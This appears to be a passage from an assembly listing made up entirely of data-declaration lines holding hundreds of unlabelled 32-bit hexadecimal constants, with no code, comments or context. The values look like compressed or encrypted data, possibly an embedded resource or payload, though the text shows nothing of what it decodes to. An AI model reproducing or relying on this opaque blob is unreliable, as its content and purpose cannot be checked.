		dd 0F9EF7186h, 21E6F730h, 88D824h, 2F534972h, 0B69490FBh
		dd 2D787100h, 0CDB1E46Ah, 0DA5F3023h, 26BD7531h, 6C48E160h
		dd 2D773Eh, 61A4F918h, 675590Ah, 0CC379E18h, 61569D1h
		dd 924EB779h, 0CD00B00Dh, 0FDB1A4EFh, 0C0D35D23h, 3060FE59h
		dd 80E5EAE9h, 3C8349B9h, 1DCDBC58h, 0C0D46B79h,	5A994A53h
		dd 54003304h, 159CF8DFh, 288F5B6Ah, 0FEBA1601h,	0C8CF544Eh
		dd 0F9F2ECB8h, 723B7880h, 519014FDh, 5AC2A906h,	7A28D63Dh
		dd 0E47A12A7h, 0F074406Ah, 1FFE1757h, 0AA5838C7h, 59624A40h
		dd 0EF30C0F7h, 0F4F9AE94h, 1E17720Ch, 185E280Ch, 0F8B5F395h
		dd 6A18AB80h, 0F130B9BDh, 0C004E65Bh, 698272A0h, 0E748B353h
		dd 19D0005Ch, 5675C50Dh, 9BA500FEh, 0E58031F8h,	7C92F155h
		dd 4B243CF2h, 402AE572h, 1C8278C4h, 0F7C2CE01h,	21A450E4h
		dd 65005164h, 0F8D339CCh, 15306F19h, 0BCD64EE5h, 5B69F903h
		dd 9024084Fh, 6C801C65h, 0E51ED18Eh, 518A8B60h,	0F5C93501h
		dd 879C0014h, 0F47850ACh, 3B83B003h, 0B0888EA1h, 602CBF2h
		dd 0F85720CCh, 180191CAh, 0AF9404ECh, 72FD3571h, 48B14820h
		dd 0EC80E4EAh, 7F5AFAF2h, 2C2B890Eh, 7B5BA0C2h,	41CEA1h
		dd 71491C6Bh, 0F6ED72CBh
		dd 0DC44E092h, 502E0E11h, 2540F51Eh, 35E30943h,	0D83E2A24h
		dd 1DED4908h, 2817DCA5h, 62CA3CB8h, 0C518C130h,	0FE283757h
		dd 0D83CA41Eh, 6AD9F2Ch, 0B840AF92h, 9192AB3Dh,	6930C1DDh
		dd 4007036Bh, 6E06779Ch, 28C3DAE6h, 8C3767E1h, 86B51890h
		dd 0E018C198h, 42ABE57Eh, 0AC90F1BCh, 0C43053A5h, 0BBD44814h
		dd 0D13C245Ah, 5CB90004h, 4F5ED360h, 5017FA30h,	3B94B059h
		dd 93800FCEh, 213F2CA6h, 0F6004A44h, 5FD0C981h,	49EC20Dh
		dd 8235E29h, 0E01A87B1h, 0A268203Eh, 7FEA63Ah, 6FD8BAABh
		dd 237A0770h, 0D77F3CADh, 0B1320A0Fh, 9EFF5680h, 0E300D3A1h
		dd 0A9080993h, 2420D5h,	0A7FD337Eh, 976936FBh, 0E200B17Bh
		dd 781FA83Bh, 94E110h, 1A7033E5h, 0B76AD4CEh, 85F7A0A8h
		dd 74F882F1h, 44FFBDFEh, 8F6C0290h, 0E1EB47D1h,	0C00A8CA0h
		dd 0D0045D6h, 53A214CAh, 5A67637h, 0AB63A836h, 0AAE003D8h
		dd 4B42962h, 490F2C9h, 75BD9A54h, 1FD0004Dh, 0FE2BE86Ch
		dd 593D5DA4h, 698009A6h, 0F1C881A5h, 0D1E0343Ch, 0BDB5265Ah
		dd 5F5E8414h, 0A560412Eh, 6034D2CBh, 0EA49914h,	3E8350CAh
		dd 28044012h, 0B0E39DDEh, 7E05C4Ch, 307AC140h, 1630CD47h
		dd 0EB4CEE36h, 35A80040h, 0E6D09673h, 3D8A104Ah, 63EF06F5h
		dd 90E0FC8Bh, 19A56034h, 7267579Ah, 8240F065h, 0B95C8Ch
		dd 9E03695Bh, 0E8196B28h, 8ECA8B00h, 33AEB899h,	0BF0D068Ch
		dd 0C1E1F81Dh, 6FC7F700h, 148041B6h, 63810029h,	0DC8ACCF4h
		dd 9205FD0Fh, 0A65DC67Bh, 5EB83080h, 0EBEC24BAh, 0E4B1418Ch
		dd 490326Dh, 42BE5EB7h,	40EA121Dh, 742B126Ch, 0F3244929h
		dd 0ED04684Ah, 80C26BFDh, 0C3E0AF1Fh, 0A0C2B735h, 185D7756h
		dd 4846F217h, 18053F36h, 0BCA55ACBh, 2645801Fh,	0C040E0EBh
		dd 7C60E841h, 0F407005Ah, 0C8BE72A9h, 2318A525h, 0E4E95266h
		dd 1E9C9962h, 0DC694CF4h, 51013541h, 8CBC5280h,	3991227Fh
		dd 62D2066Eh, 0EF78D365h, 59579930h, 0E906745Ah, 0C0F2C36Bh
		dd 8A6771C4h, 0E6D3FD40h, 8C304AF1h, 0B55E68F3h, 4D14857h
		dd 0F50E6509h, 0BE4F3001h, 0ACE99317h, 54D1080Ah, 0F708C824h
		dd 304A2603h, 67BD5EB1h, 0A55B49CEh, 0C8028166h, 0A5DF6CE4h
		dd 618013C4h, 61EF7369h, 5A0FA0E0h, 6020750Dh, 10F56698h
		dd 4907A55Eh, 0EB2E58ADh, 9C814098h, 0F30B8FB7h, 0A27B7409h
		dd 0C0DD13A8h, 40AA5F84h, 98A16B1Eh, 3B7510E8h,	0F6A52EB7h
		dd 0FC960064h, 3A816136h, 9D5220Fh, 42B3836Bh, 0F79BE057h
		dd 0F0D0A4E2h, 0A7B404EDh, 80238915h, 8D75CDC7h, 19EA3701h
		dd 0A0018A4Bh, 0F673B834h, 188C92E9h, 19E73572h, 1671D05Bh
		dd 41116A80h, 0F6AC20BFh, 13607588h, 40C9876Dh,	5B841838h
		dd 0E400793Dh, 367415B3h, 2BF63A6h, 4AE15753h, 30C9A992h
		dd 338570F3h, 87540A0Ch, 0E1080EAh, 353A4D1h, 444060FAh
		dd 0FD80EC31h, 0D767325Ch, 20C2CF10h, 78586BC3h, 0FC422A24h
		dd 4FF0B0E0h, 0F9C7649h, 0AA13D960h, 9D41D0A2h,	0D600B317h
		dd 1C49BEAFh, 3CBF0040h, 0F8840ECBh, 287AE0h, 55F2A5CEh
		dd 6112B2C0h, 0F60A1C90h, 88AAE6BEh, 230AC110h,	4ED8E95Eh
		dd 0DD336DC3h, 0F606001h, 9DF8522Eh, 972E84Ch, 0C9E3D102h
		dd 0E6E3F043h, 0A40670DFh, 0D601FB57h, 5A078084h, 0AFD0736Bh
		dd 0EE1618CFh, 76DAD026h, 5F7EEB0Fh, 0A169C5F8h, 1239881h
		dd 0F09D2001h, 8A75B17Fh, 7100E09Ah, 3783DC1Fh,	0A737Ah
		dd 6D22D92Fh, 0AB3B4950h, 698AEF01h, 28E3519Dh,	40936020h
		dd 234CDED0h, 0D54E1648h, 90FE300Bh, 0AE6A80h, 4B7989A5h
		dd 180C9F3h, 7801BBE8h,	4EE067EAh, 0B085186Ah, 1A60241Bh
		dd 0C420541Ch, 0B82E9CDCh, 0D1E96F1Fh, 127F88Fh, 0E2415AE5h
		dd 4A517080h, 70D656FAh, 0CADF100h, 6DFE2580h, 0FCCB5903h
		dd 8DF0D524h, 411164E4h, 0EE7F548Bh, 4112A05Ah,	0FC522F6Ch
		dd 2B4B3442h, 5A6600EAh, 94A1CE6Fh, 0C22030F8h,	352140h
		dd 642977B4h, 9F14F234h, 4F5C510Fh, 0E4201830h,	416494A6h
		dd 514C267h, 0E1BB0004h, 0F9DEFD06h, 22044EE7h,	6D620960h
		dd 682193BFh, 0C6EB364Fh, 92B174E8h, 6059E488h,	63AA413Dh
		dd 0C8C3F0AFh, 0ECBD9Fh, 0B57C3919h, 8E5E60A9h,	5D3BF97Ch
		dd 13058D2h, 4AF42DD1h,	804AE6EFh, 0E861C851h, 3804A0CDh
		dd 49115E30h, 2BE8712Ah, 29E48688h, 1288D9EDh, 25C40420h
		dd 0C7DCC7A8h, 7022CBA7h, 34619DE5h, 0E38451B5h, 12E03401h
		dd 0B000EEF4h, 7F0CD94Ah, 689AD4D2h, 9A42999h, 4A03220h
		dd 0D4D548D8h, 62516A88h, 25A788DBh, 64C90890h,	65D0D250h
		dd 41241737h, 68C92387h, 132C10A4h, 41A94BA8h, 6D584890h
		dd 0E479809Dh, 4B6F9874h, 0D521C9A5h, 2890A409h, 582A7225h
		dd 687918C5h, 6F8C6754h, 0D4D68D03h, 2EB76420h,	976D71h
		dd 0EC562972h, 81F2C5C4h, 0D56BD40Eh, 6A549DF3h, 4518BDCh
		dd 3D40F2E8h, 0AE3FA90Dh, 0B1E4711Ch, 0AF9F0B47h, 0C1E1F191h
		dd 22A59842h, 0D9104765h, 974F44C9h, 0E959A8FCh, 55490EF0h
		dd 5CA04044h, 0D6EE39h,	0B6B4A53Bh, 290E5FC2h, 0DAB01600h
		dd 0E143FA7Ch, 0B50800DDh, 24C4FE18h, 550E6312h, 40DE6031h
		dd 0E1E5E061h, 88A300B6h, 0F00B20E7h, 4A008C6Ch, 0E62FFC73h
		dd 0C1A714DCh, 70AC640h, 0DE300766h, 0E8E66441h, 0A7D01DE1h
		dd 0F71180BAh, 16B00A25h, 340E3F1Eh, 173501ADh,	0FBF4D4B8h
		dd 18550057h, 6442956Ch, 0F24DEF4h, 8754D4D3h, 0F8CAFD04h
		dd 945F2D80h, 90E64A70h, 9AB500D8h, 0F11DEBCh, 0B1034B31h
		dd 2C385219h, 0A64A88DCh, 0C7FD0025h, 0FAEA0C0Dh, 40DC6015h
		dd 4A93EEC0h, 8E6CD3h, 25FE10E6h, 4B2BC104h, 2105FD73h
		dd 2F9633B8h, 0B1E28C0h, 405460EEh, 0EF376A92h,	6CB980h
		dd 0B1AC1B5h, 1DC50E26h, 180D7600h, 0CA4AE117h,	0B8C900EBh
		dd 0FB28FC1Eh, 0A71F9A14h, 93C04B6Ah, 0B4ADB751h, 0B1C24C1h
		dd 77C5D94h, 6E9F6C2Bh,	8E5F15Dh, 0E6C3E0B7h, 260C1A00h
		dd 3F2BC8E3h, 0DC3300FEh, 2EE908D3h, 135CC503h,	60EE7021h
		dd 39699700h, 0A54FDB33h, 0E8BC00A3h, 12525011h, 7C0026BBh
		dd 0B53D0904h, 28D258h,	5410A1F7h, 5E2EFFE9h, 5A689518h
		dd 0A53D40h, 0F8E689A6h, 0AD163050h, 11511F01h,	4CD3D8EFh
		dd 0F319FCh, 580723A1h,	95710901h, 33645C00h, 0A5D23BE4h
		dd 0F8DC0B89h, 8C35F14Ah, 0B84805Fh, 6EDE552Dh,	0E5E16100h
		dd 0B298B53Eh, 4A5C02D7h, 21B12726h, 0D2DDBF0Fh, 0FB2CB480h
		dd 1C072492h, 802A5557h, 0E8F6699Bh, 0CC004FD2h, 1CDFC29Ch
		dd 172904h, 0FB75198Ah,	3FE0E4EEh, 0A20028E6h, 22FC24A0h
		dd 6108FAh, 0F25B4194h,	6CE94EE7h, 5FF4B900h, 0B021260Fh
		dd 4C762Ch, 8AFE2EFh, 0D1F719E6h, 663C0BFCh, 9686804Fh
		dd 0DA336570h, 1A7FA4Ah, 0A1AEDF7h, 0CE8A0727h,	1046ACC1h
		dd 14FD30DFh, 885210A0h, 0FBBF0491h, 0B3652C00h, 9D2D427Eh
		dd 6148A900h, 0F1498597h, 5834A5D0h, 3E727DA3h,	49A0C000h
		dd 487F9552h, 0B5CC0411h, 28E14CFAh, 426A30EAh,	63B55E18h
		dd 0CA00097h, 0FAAAC53h, 0F13F125Dh, 39D8EDA6h,	2657F500h
		dd 0C5545E79h, 1F565BD1h, 1821F0E8h, 81012660h,	0BC4AA6C0h
		dd 69E8D890h, 0E9F52D6Ah, 6B4B5C82h, 4A805C76h,	0F61765EAh
		dd 0F2CFF4F1h, 0A5F5027Ch, 3A20A828h, 6280C054h, 0F42F0195h
		dd 21E105EAh, 32665930h
		dd 0B905EF1Ch, 5BA0B4h,	0C18F6537h, 0ADDCD4CFh,	0AF559D00h
		dd 0F9726952h, 0A790C0B8h, 913F1820h, 58958702h, 0F1DC2BB5h
		dd 0E71E08A4h, 634B6907h, 92500208h, 0EC54EB45h, 0EED45184h
		dd 80DF6000h, 0A9318AC3h, 0C76361BDh, 0D154F1B6h, 8C9AC907h
		dd 94805742h, 0C74736Bh, 0FD72C188h, 0F831ED39h, 0F54DC8D1h
		dd 65C3DE8Fh, 79E02ADFh, 0FFAD05A8h, 40CFF8A6h,	2A6336E8h
		dd 8800A304h, 259BAE0Eh, 0C3CCF851h, 53858421h,	0F08F3CF9h
		dd 5BF88871h, 7D1F922h,	81B034B5h, 0E50CF14Bh, 30AC7852h
		dd 2C8C21DCh, 0A8421FB0h, 52F20929h, 9D046859h,	0A213B877h
		dd 0D6330068h, 0C639C7ACh, 3AD0B6Fh, 0F8C0C2B3h, 23809D4Dh
		dd 651C004Ah, 0A517AB50h, 2DFA3849h, 7380C118h,	3697BC0h
		dd 3554B9AFh, 62E339BEh, 0DF4BF2A8h, 721E3CBEh,	0A9A56D46h
		dd 9E4E0780h, 99D8ACF1h, 6000A8D2h, 0C56B47D6h,	9D72CC89h
		dd 0E250CC82h, 0A0E8BE22h, 3273B3ACh, 0E9750264h, 0A956C287h
		dd 2A041CF9h, 3090E5C9h, 29876C0h, 0F9865855h, 74F85FECh
		dd 0A321EE60h, 428989Eh, 0FC75C1CFh, 0C7BF8E7h,	0B8E1B36Ah
		dd 5AD52B6Bh, 0B03300C0h, 0D494B82h, 2B8F8085h,	0FDABAAB0h
		dd 0E659502h, 916623E1h, 402EEAB8h, 0BE7D92B0h,	36056F3Eh
		dd 2F5A6793h, 0E086B840h, 0C7EFBDA2h, 20A810F1h, 0B19C6A2Eh
		dd 8471D92Fh, 18D017ACh, 10B031h, 0F7FB1D4Ah, 0AE4B9822h
		dd 28BBE400h, 3F9790A2h, 84234FAAh, 0A9188250h,	8265330h
		dd 0C4745E75h, 1C40EF64h, 0DE5A265Ch, 0B2EB503h, 0BEF933E6h
		dd 0F55E00D1h, 502BD675h, 0E300413Bh, 0B3963185h, 0CB7BB4h
		dd 8F6EC81Fh, 0BAF16A4Bh, 7F57E0C3h, 0B08823D0h, 9A265804h
		dd 444740A8h, 26611500h, 0F42BA146h, 0BB303C00h, 6E495FE1h
		dd 60D20978h, 0D8580795h, 4A36D709h, 13207843h,	0B02B736Ah
		dd 5A1A0C44h, 72889C7Ah, 5F231184h, 726806CCh, 20EF21h
		dd 41197A9Ah, 0E5EAB149h, 0BD5889C1h, 0CED86E87h, 16990054h
		dd 0F7C322Dh, 0EF00045Fh, 9604A6Bh, 105EFF40h, 4064FC3Fh
		dd 511D2AC8h, 81F7B192h, 304E13h, 4F4B2C89h, 0B856DC01h
		dd 417E1618h, 0AF85838h, 2A5AE4DAh, 127083F8h, 91798D87h
		dd 0A3461890h, 2F08AF39h, 16C4B46Ah, 87B72E44h,	1933C02Ah
		dd 0ED043B46h, 0F8DE94E4h, 3500F0ADh, 0F6BCFA08h, 0AB013DF5h
		dd 0CADA7B01h, 0E082B3B8h, 0AE9983F0h, 0E539B460h, 88E67E86h
		dd 0DF50D395h, 0D26148C8h, 6D924A59h, 50F40F3Eh, 0C2AC14C4h
		dd 0F87C8BC0h, 0AE566F01h, 78605337h, 65CC40D3h, 0E8D71232h
		dd 0C8AE31A0h, 0AC466A30h, 2F001522h, 0E25410B6h, 0EC69F8h
		dd 1F14F5F4h, 8D924EB8h, 4AAA1604h, 0BC94135Ah,	5D89D0FCh
		dd 3AEF9D00h, 14003D19h, 0BF9353F3h, 180BB5Bh, 9B5EBA8Fh
		dd 3288E1F0h, 30B6F210h, 450026C7h, 0F21E39AFh,	311712F9h
		dd 50D9E9BEh, 46B5C08Ch, 8A973Ah, 15564F10h, 5A728ECDh
		dd 204C828h, 313D2D0Fh,	0A6BC40A7h, 1EF6A97Eh, 412A712Bh
		dd 36235E56h, 202EABh, 33F95FA0h, 1D91CEF7h, 400CC289h
		dd 2C4A60A2h, 35BC24E7h, 7381610Ch, 108CC34h, 0D25E523Ah
		dd 0EB27A83Bh, 5FE4D90Ah, 0B1095CE8h, 0AFDC80A3h, 59369Dh
		dd 0E3ABC64Eh, 0ED8AD4A7h, 70B4E850h, 0B5314Ch,	0F57DE16Dh
		dd 4DD27EEAh, 9A80DC26h, 0A6585998h, 9F10EB8Ch,	5A3998A2h
		dd 0B34500BCh, 443A0FEFh, 86F10060h, 0D459A7D6h, 530A7AE1h
		dd 0F4EAE698h, 81F6E90Ch, 24675C12h, 1AD5AB10h,	994AE4DFh
		dd 0A918A5A8h, 6A212DE4h, 0B030C7A4h, 0B65E8510h, 0BCB5B900h
		dd 0FE8F6C3Fh, 74734C8Dh, 5500B323h, 845E7726h,	67D0B9C4h
		dd 6326D01Ah, 0B31CE6D8h, 3309C2EEh, 554D90Ch, 40E5F82Dh
		dd 64D69BE0h, 7E00F689h, 27E6FCA3h, 10FAA7Ch, 1778B001h
		dd 0B03B0997h, 802D61E4h, 6671CF2h, 71654028h, 0E943B6A3h
		dd 52AE5716h, 7FE4A400h, 12583D0Bh, 0F0153E4Fh,	6B459D88h
		dd 9DDA3FCCh, 289D0C09h, 280EE11h, 2ACB8143h, 8F610338h
		dd 0A056EEF1h, 0C078D44Fh, 95FE0DCFh, 0FC70C23Fh, 41C5F369h
		dd 0BC401EBDh, 293D590Bh, 8B400020h, 8A3F5152h,	0FAE213DDh
		dd 11B8C13Fh, 1A715BE5h, 0B022E257h, 60273884h,	2E56989Bh
		dd 70149E58h, 9800A3A6h, 0E6814FABh, 9FE0191h, 9BAF5C27h
		dd 0E0F93409h, 4C62803Eh, 2EA56302h, 0B7540008h, 10C0CFC2h
		dd 17276657h, 0D608406Eh, 0AC642523h, 0E3EAA003h, 0DDA93Bh
		dd 346C51C0h, 38A5F5A9h, 7D014AFEh, 1E4F5E2Bh, 0CBBC4544h
		dd 0C0EDC8FCh, 15CF2D74h, 0FF5F851Fh, 0C9AF1442h, 57D06944h
		dd 406E5EEDh, 0A22FA800h, 0CEF8D18Ch, 238CF948h, 82AC1C9Eh
		dd 0AE7C6A32h, 2D80C065h, 99010B4h, 1E07D36h, 228670E7h
		dd 3F5F5DDDh, 1D3F9842h, 0E400657Fh, 590160EEh,	0CE4700CBh
		dd 0BD5EF724h, 5092D1E7h, 1EDE5F10h, 52C5AA88h,	7C5E8404h
		dd 88F25098h, 26005B1Bh, 9B01DB69h, 545F910h, 24137E52h
		dd 82F42460h, 0D45A6874h, 589DAD2Ch, 9B22708h, 34D0BA60h
		dd 98D47620h, 2614614h,	4AA7B02Eh, 10DB3121h, 3CB02692h
		dd 3382B2B8h, 0C9647861h, 6F855476h, 958279C3h,	0DF44C128h
		dd 412D7030h, 0A5C870E5h, 0CB4B6F09h, 0E4E460DDh, 0F47F556Ch
		dd 302B8042h, 523E9877h, 0ED22C658h, 989F9A00h,	20179E88h
		dd 3A72033Eh, 69E186B5h, 85F4F5B1h, 0CB6AF378h,	0FA09D4B8h
		dd 40204BEh, 685187D4h,	60191471h, 520059A6h, 6070C1A7h
		dd 346369AFh, 8160FE73h, 76D8E988h, 4EBB2EE4h, 1F47253Eh
		dd 811D11A4h, 697ABAB6h, 5A732B60h, 65C4807Fh, 8217EE90h
		dd 20A0FD81h, 391F6FBEh, 0E3BFC540h, 100E637h, 0F174B252h
		dd 576158Bh, 8FED9C04h,	18C841Ah, 0A956A8CCh, 29B02065h
		dd 0E8A0724Ch, 6D038CEDh, 8133E9B5h, 0E8BFB25Eh, 0B8CF7EB4h
		dd 0C91F20BCh, 184F5B06h, 2019EC65h, 0D73AD2EBh, 314A04Eh
		dd 9FB15125h, 4AF35830h, 350B69F6h, 14B8052h, 3A66B808h
		dd 1FAC136Bh, 0E480E5DCh, 0A0B43CF1h, 60A698A0h, 97527109h
		dd 0D6C002A4h, 0A2C0041h, 0FA50F35Ch, 621978A4h, 0EA6C19A5h
		dd 40963830h, 0B013E01Dh, 148DE394h, 0A8A6D4E4h, 0A1621FCh
		dd 0ABDF08DBh, 32D49208h, 2F305EB0h, 4AAE11B0h,	89DE8829h
		dd 0C0012793h, 0F5288F88h, 429C2157h, 8C4C2590h, 58989D1Ch
		dd 0E7888E51h, 98A5A080h, 9B316B5h, 0EB5631C5h,	0D7078CFAh
		dd 3896D682h, 0CE551B11h, 0A63CC476h, 3CBCFF87h, 0F4C11F49h
		dd 7BB09098h, 78AA4C04h, 0E9A86516h, 0E08F004Ch, 574B7DFAh
		dd 95200A9h, 0CB2B760Dh, 0B00B4EECh, 82CCAF9Bh,	0E12DB8h
		dd 0DE0F6BA7h, 64E478C5h, 0B05FD8C8h, 209220F0h, 63A6301Fh
		dd 58114C0Bh, 0B7F52014h, 0C92FF304h, 0F494F972h, 0E023C804h
		dd 0DEB290E3h, 12031E30h, 82FF6E06h, 0E0DE1AF0h, 1FB8C04Eh
		dd 4A492F67h, 6A5440F9h, 0A2727F3Eh, 80025890h,	5E613079h
		dd 825852F8h, 0ACB0809Ch, 9018D023h, 75882836h,	0F85E589Ch
		dd 0F055E443h, 137257E0h, 80E3BAD4h, 84F85F1Ch,	915CE512h
		dd 9CF7508Ch, 764D8010h, 0E5EC4FC0h, 566C8CA0h,	0DC3ECE12h
		dd 0D30BC404h, 8866F105h, 0A0B5BD28h, 3D7EB4Ch,	2DAB1E69h
		dd 92380DDh, 8A2E425Ah,	860FB171h, 806D685Bh, 0A82F204Ah
		dd 90EB5E36h, 0C47327FCh, 623D5490h, 8E391DC7h,	286E5F41h
		dd 30E0C2B0h, 0AE66027Bh
		dd 0D57F4C09h, 96FFD080h, 512DF1ECh, 228009FAh,	6AE6EB3Ch
		dd 79C4599Ch, 0FC918EBh, 6880C145h, 0E75C09C2h,	6072FC68h
		dd 0AB1FBD13h, 0C88B4853h, 42C3EA88h, 0B83BE8EFh, 269A022Eh
		dd 0D717736Ah, 0AA569B00h, 57E34060h, 1A326717h, 0FD2B24B4h
		dd 185AE410h, 64DEBCAAh, 56559709h, 8CC02C7Fh, 472148BEh
		dd 0E4BB6C18h, 2CB36860h, 9F98A26Fh, 2C11E1A9h,	53987480h
		dd 448C5658h, 9C0599F3h, 0EAA1F798h, 9D60A4h, 3FE7C9A9h
		dd 2BA5BC5Ch, 0EE7CDA00h, 5F5850A3h, 58095DEAh,	197B1D02h
		dd 64ECAFACh, 36BBE401h, 3DC9CD73h, 7FE80E3Fh, 0C4398AC2h
		dd 2204D4D0h, 0DAAC3624h, 0B96BB8E4h, 18DE793Ch, 8F8600EDh
		dd 19095651h, 0C94D4B70h, 0E4CE12B8h, 55618C18h, 0A9F8A2CCh
		dd 44E4477Ch, 0E13B60E9h, 3707120h, 9D60F7FDh, 502FB953h
		dd 75384947h, 0D1E31888h, 63EC5F18h, 369E0503h,	8EDA271h
		dd 5785C5D8h, 9C455E17h, 0F4574FBEh, 644670E0h,	40271922h
		dd 9E4FA43Eh, 3954033Dh, 48EC325Ah, 0CF625801h,	75652397h
		dd 0B8C8A84Fh, 101EDFC0h, 0ED420731h, 49AB2B85h, 150494E8h
		dd 67B40D00h, 29E9F2B1h, 0C9D4015Bh, 8C720FADh,	7F602469h
		dd 78AEBC0Eh, 5391811Bh, 0B1C89CBFh, 0F22A1C0Ch, 0D1F3534Eh
		dd 1E207BCh, 5511C8F7h,	3F58F49Bh, 8C9426F6h, 598FAF91h
		dd 645E9BA1h, 88EA0CC5h, 26006216h, 4E4B25C7h, 0B058A976h
		dd 0F284698h, 0A9579878h, 80244576h, 0B98A0A5h,	0D10124BFh
		dd 0F6FE0C07h, 8614B6Fh, 6CB0446Ah, 4C54A22Fh, 30D6B9C8h
		dd 2C01A84Dh, 2AAC1D8Ah, 6219663h, 0C0A72041h, 31418000h
		dd 0A101C8B3h, 6F26723Bh, 8548E8h, 5EB78BD3h, 0C53C561Ah
		dd 0F8946501h, 0F18A4AA3h, 27A78464h, 6C93D52Fh, 6F0773C1h
		dd 5A665000h, 0B2B288F3h, 0F6AF2098h, 5940F494h, 8ED8D2h
		dd 1F78B1B9h, 1EAD0521h, 0E236B202h, 4820BE22h,	0F4EF50h
		dd 0C9512ED1h, 5E763DBAh, 567CEA01h, 87080E0Dh,	407F5C6Ch
		dd 4A52F3D0h, 0C85203A8h, 0DD494702h, 948E5885h, 0FAC0DB88h
		dd 42633Fh, 0BFFD3BB3h,	0CB55731Bh, 5A0CAE04h, 0C4A3D041h
		dd 7288BA00h, 0C75BF225h, 1CFCF55Dh, 0CAC0053Dh, 75B76082h
		dd 8078B4BDh, 46DBEE3Eh, 533D412Ch, 0E4AE8939h,	0C9AC5455h
		dd 79025C80h, 0B1FE722Dh, 99B6909h, 0B66404A1h,	78265660h
		dd 115C5E23h, 5F1702F1h, 0E04D2226h, 0F8BBD24h,	0BE4ADCD9h
		dd 330EB875h, 0A006618h, 0C7C4B93Ch, 1B81748h, 4DF703B1h
		dd 82AE187h, 0F31DC598h, 0E8330CA6h, 0BD7AF875h, 0EDE2F16h
		dd 62524007h, 84FE765Eh, 0D9C86504h, 23D15890h,	2E0C164Bh
		dd 4F5400BDh, 0B15704A1h, 0A0FB3C02h, 0FE9216DFh, 6D600288h
		dd 6040DEA7h, 0E00C215Eh, 10C5279Dh, 9C1548DDh,	5873B925h
		dd 0CE2FBF81h, 4160EB8Ch, 53B0185Dh, 196AE87Ch,	29B02095h
		dd 9C6FE4A0h, 3718AC30h, 0AC308041h, 0E4AAFB63h, 0B8BB2C6Ch
		dd 182B6250h, 0C9DF955Eh, 22321765h, 61D5E0E9h,	6F10E3B4h
		dd 7D07DE56h, 39AD4B9h,	165D303Ch, 2108C65Fh, 8C157F8h
		dd 0A75A4459h, 3236B2Fh, 0EDDEDF8h, 4F0D77C9h, 9D40BD61h
		dd 0B0237Ah, 102A036Fh,	48D043h, 42C84F70h, 0BDE5D362h
		dd 0E2579704h, 16AE6A5Fh, 23983AC8h, 42730FF1h,	13BADA00h
		dd 635B114Ah, 9251A401h, 0A078E92Dh, 7270468Eh,	0E49B9518h
		dd 86AA37F9h, 1EE26B21h, 90B6625Ah, 1C14465Eh, 6E0025B7h
		dd 0A2B57608h, 1438B07Fh, 0B8DFEF29h, 0D0D1E23Ah, 0AD5BC401h
		dd 0D490F802h, 0DB07D26Bh, 0C2A82F55h, 0F5B189C7h, 0EBF49382h
		dd 0BC2A4C7Ah, 2B57310h, 0BD6A4AADh, 9D345CE0h,	60A1A243h
		dd 0AAA91098h, 0C0054A72h, 4F6057B4h, 80473E28h, 0C030D830h
		dd 0C2EB3E4h, 0E3E96AD1h, 632E7128h, 0D09CE497h, 547AF1D2h
		dd 3C70A63Fh, 0F1C0579Dh, 0B5DEC204h, 45AAD07Bh, 0D254D630h
		dd 0E3202124h, 31F87E2h, 0C142EAB2h, 8AE83962h,	4CE84669h
		dd 0D3582205h, 6C8EAF08h, 0CCC0EB88h, 0B81E5Bh,	21440A7Ah
		dd 164AC669h, 7F4DED00h, 0E58881F6h, 0F0CA3006h, 0B5E68E39h
		dd 0AF296C00h, 0FBB3A172h, 5DB0069Ah, 0C8831745h, 1C60E945h
		dd 57DA4073h, 2435D31Fh, 208C46E5h, 6909E6BDh, 43EF375Bh
		dd 57D00BF8h, 14C84E4Fh, 4A0AE531h, 0F4D79D62h,	16087B41h
		dd 0AC94A008h, 0E9467Ch, 0EC7B5CCh, 9537B51h, 735EB696h
		dd 0C12AA804h, 1D2256Ch, 3980D8C8h, 7D3B8A03h, 822EE5F9h
		dd 3616A886h, 11EAC8C0h, 714C84ECh, 0C05DC870h,	4AABB032h
		dd 8E804143h, 3C9B02Ah,	0E4506397h, 16375701h, 3D142445h
		dd 0E07DC989h, 81DD8D00h, 0DF728E25h, 6EC36200h, 8C3D570Ch
		dd 53A409D0h, 5C583271h, 0FE4A995h, 2F078570h, 4DE30C60h
		dd 7FF648FFh, 0E694E41Eh, 11CE04B0h, 0D67921ECh, 80E1ED01h
		dd 0B6612539h, 0AD3D5Bh, 468D6ACAh, 0EBBDFF8Fh,	6B0A59C0h
		dd 0B85607A4h, 9DFE099Ah, 0E824CA5Fh, 8748C19Bh, 88A47CC4h
		dd 6EBA9C1Ah, 37B00040h, 5BA80658h, 2412B54Bh, 220084B2h
		dd 1C48CC47h, 0C691EA7h, 1A3C07A0h, 4441B86Dh, 237FF422h
		dd 900705Ch, 0F3AA4E4Ah, 9E5C5660h, 0F4A16F04h,	738141E4h
		dd 1D0B00B8h, 183BCAF8h, 14A200D3h, 98BAD40Eh, 3A0481B8h
		dd 0CA106E17h, 68A90C80h, 98694DD5h, 9C58B601h,	3CA8ED53h
		dd 8CDABC78h, 446AFD01h, 5669CAD2h, 9DCDDE40h, 5ED8132Dh
		dd 3F6C400Ah, 0B46979F4h, 0E42028BBh, 4CF1D314h, 0A4569ED8h
		dd 1067D432h, 9FE88736h, 830000B3h, 946A3311h, 1C4486AEh
		dd 10AB192Ah, 78F770BEh, 456B2714h, 60B9C438h, 830F7h
		dd 31C399D0h, 72C8A53Ah, 30D1D92Eh, 24A4FCA1h, 0CF8108h
		dd 8F6FE6F2h, 501AC162h, 56312192h, 0D9603A8Ch,	197B3187h
		dd 5E41FA09h, 0E45C6512h, 40B162EEh, 50AF3D80h,	88E7E099h
		dd 5375322Dh, 8A576F00h, 4B1A764h, 5ED2091Dh, 4050B7B5h
		dd 7478AE24h, 4DC7708h,	0C0DE7EE0h, 15D6B36Ch, 13174980h
		dd 1360A0B1h, 5E5830B0h, 0C859776Dh, 1237091Ch,	0B178D98Bh
		dd 10D2BF58h, 0F60ED81h, 495A68B6h, 6BB89196h, 726600FFh
		dd 0B5463E44h, 7934F304h, 274B812Dh, 682082E5h,	76D59D6Ah
		dd 0E49C819Ch, 17901BBh, 5A08B307h, 0B6E12A20h,	1C465E94h
		dd 4F4A8C00h, 4B702754h, 0E4F0BB2Ch, 5054E764h,	0BE30E822h
		dd 7C04122h, 7C6600D9h,	91E2B398h, 35129BE5h, 405C840h
		dd 88CCBFF9h, 7C8F8A26h, 0E9F71131h, 0C2214D00h, 0D269C91Eh
		dd 7973A800h, 5D106015h, 0E5C5318Fh, 8DB13F8h, 4A084359h
		dd 6F80F49Ah, 0BC56C105h, 0C3797202h, 0C4BEAD92h, 0F5FB2974h
